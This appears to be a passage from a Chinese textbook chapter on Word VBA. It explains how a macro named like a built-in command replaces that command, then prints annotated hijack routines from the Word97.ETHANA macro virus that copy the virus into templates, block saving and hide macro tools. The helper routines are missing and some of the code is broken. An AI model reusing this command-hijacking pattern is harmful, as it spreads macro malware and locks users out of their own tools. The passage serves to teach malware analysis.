修改 Word 命令

大多数 Word 命令可通过转入宏以修改它们。例如，可修改【文件】菜单中的【打开】命令，使其不再显示 Word 文档文件列表（扩展名为 DOC 的文件），而是当前文件夹的HTML 文件，甚至打开的是【另存为】对话框。。
    要在宏对话框中显示内置命令列表，可选择【宏的位置】对话框中的【Word 命令】选项。显示的命令包括所有的菜单命令、工具栏命令或快捷键命令。菜单命令为以菜单名开头的命令。例如，File 菜单中的 Save 命令显示为 FileSave。
    通过将一个宏命名为与 Word 命令相同的名称，就可用一个宏替代一个 Word 命令。例如，建立一个名为FileSave 的宏之后，当选择【文件】菜单中的【保存】项时或者单击【工具】栏中的【保存】按钮或按下【保存文件】快捷键Ctrl+S 时，Word 将运行此宏。  

FileSave 宏代码如下：
Sub FileSave（）
' FileSave 宏
' 保存一个活动文档或者模板
ActiveDocument.Save
End Sub

    可添加指令或删除已有的 ActiveDocument.Save 指令。当运行 FileSave 命令时，新的 FileSave 宏取代了Word 命令。要恢复原来的FileSave 功能，须将新的FileSave 宏改名或删除。
    用户还可通过建立包含名为 Main 的编码模块以替代 Word 命令，此模块必须和要替代的命令同名（如 FileSave）。
    很多宏病毒除了前面提出的利用自动宏来进行传播外，还会利用修改Word 命令的方法修改Word，给用户造成很大不便，危害性特别大。如Word97.ETHANA 宏病毒就修改许多Word 的内部命令，其代码如下：
    Sub FileClose（）
    '修改Word 关闭文件命令，使其在关闭文件之前首先执行远? 义的一些代码，以达到妨害计算机
    '工作的目的。

On Error Resume Next
Call AyAlways
Call Ay2
Call Ay2Doc
Call AyClose
If Day（Now（）） = 8 And Month（Now（）） = 6 Then
ChenLung.Show

    '如果是6 月8 号，会有一个带有病毒制造者的头像的对话框出现

WordBasic.FileClose
End Sub
Sub FileOpen（）
'修改Word 打开文件命令，使宏病毒代码自动复制到通用模板上
On Error Resume Next
Call Lulung
Dialogs（wdDialogFileOpen）.Show
Call AyAlways
Call Ay2Doc
Call Simpan
Call AyClose
If Day（Now（）） = 8 And Month（Now（）） = 6 Then
ChenLung.Show

End Sub
Sub FileSaveAs（）
'修改Word 文件另存为命令，使保存文件保存不了。危害性非常
大
On Error Resume Next
Call AyAlways
Call Ay2
Call Ay2Doc
Call AyClose
Dialogs（wdDialogFileSaveAs）.Show
If Day（Now（）） = 8 And Month（Now（）） = 6 Then
ChenLung.Show
End Sub
Sub FileSave（）
'修改Word 文件保存命令，使保存文件保存不了。
Call AyAlways
Call Ay2
Call Ay2Doc

Call AyClose
On Error GoTo Errh1
If ActiveDocument.Saved = False Then
ActiveDocument.Save
If Day（Now（）） = 8 And Month（Now（）） = 6 Then
ChenLung.Show
Errh1:
End Sub
Sub HelpAbout（）

[NextPage]

'修改Word 关于命令，一个带有病毒制造者的头像的对话框代
替【关于】对话框。
On Error GoTo AyErr3
ChenLung.Show
AyErr3:
End Sub
Sub ToolsOptions（）

    '修改Word 打开【工具】菜单中的【选项】命令，使用户修改启Word 的宏病毒保护功能。

Dialogs（wdDialogToolsOptions）.Show
Call Lulung
ChenLung.Show
End Sub
Sub FileNew（）
'修改Word 新建文件命令，自动把病毒代码复制到新建的文档
中。
On Error Resume Next
Call Lulung
Dialogs（wdDialogFileNew）.Show
If Day（Now（）） = 8 And Month（Now（）） = 6 Then
ChenLung.Show
End Sub
Sub FileExit（）
'修改Word 退出命令，自动把病毒代码保存到模板中，不用
提示用户保存模板。
Call AyAlways
Call Ay2

Call Ay2Doc
On Error GoTo AyErr4
If Day（Now（）） = 8 And Month（Now（）） = 6 Then
ChenLung.Show
AyErr4:
Call AyClose
WordBasic.FileExit
End Sub
Sub FileTemplates（）
'修改Word 的修改模板选项命令，自动把病毒代码保存到模板
中。屏蔽了原来该命令的功能。
Call Lulung
If Day（Now（）） = 8 And Month（Now（）） = 6 Then
ChenLung.Show
End Sub
Sub ToolsCustomizeKeyboard（）

    '修改Word 的自定义键盘命令，除了自动把病毒代码保存到模板外，还屏蔽了原来该命令的功能。

'功能。
Call Lulung
End Sub
Sub Organizer（）
'修改并屏蔽了Word 的启动管理自动图文集命令。
End Sub
Sub ToolsMacro（）

    '修改Word 的启动宏对话框命令，除了自动把病毒代码保存到模板外，还屏蔽了原来该命令的功能。

Call Lulung
ChenLung.Show
End Sub
Sub ToolsCustomize（）

    '修改Word 的启动自定义工具栏对话框命令，除了自动把病毒代码保存到模板外，还屏蔽了原来该'命令的功能。

Call Lulung
ChenLung.Show
End Sub

    '宏病毒之所以屏蔽这些命令的原因，除了危害计算机正常工作以外，还防止用户利用如VBA 编辑
    '器等工具修改其病毒代码。
    关于破解宏病毒的方法，请参考第十三章。其实，如果对宏比较了解，破解宏病毒是非常容易的。
    要详细了解Word 内部的命令，可以单击【工具】菜单中的【自定义】菜单项，在弹出的【自定义】对话框中单击【键盘】按钮，在弹出的【自定义键盘】对话框中查看即可。如图11-19 所示。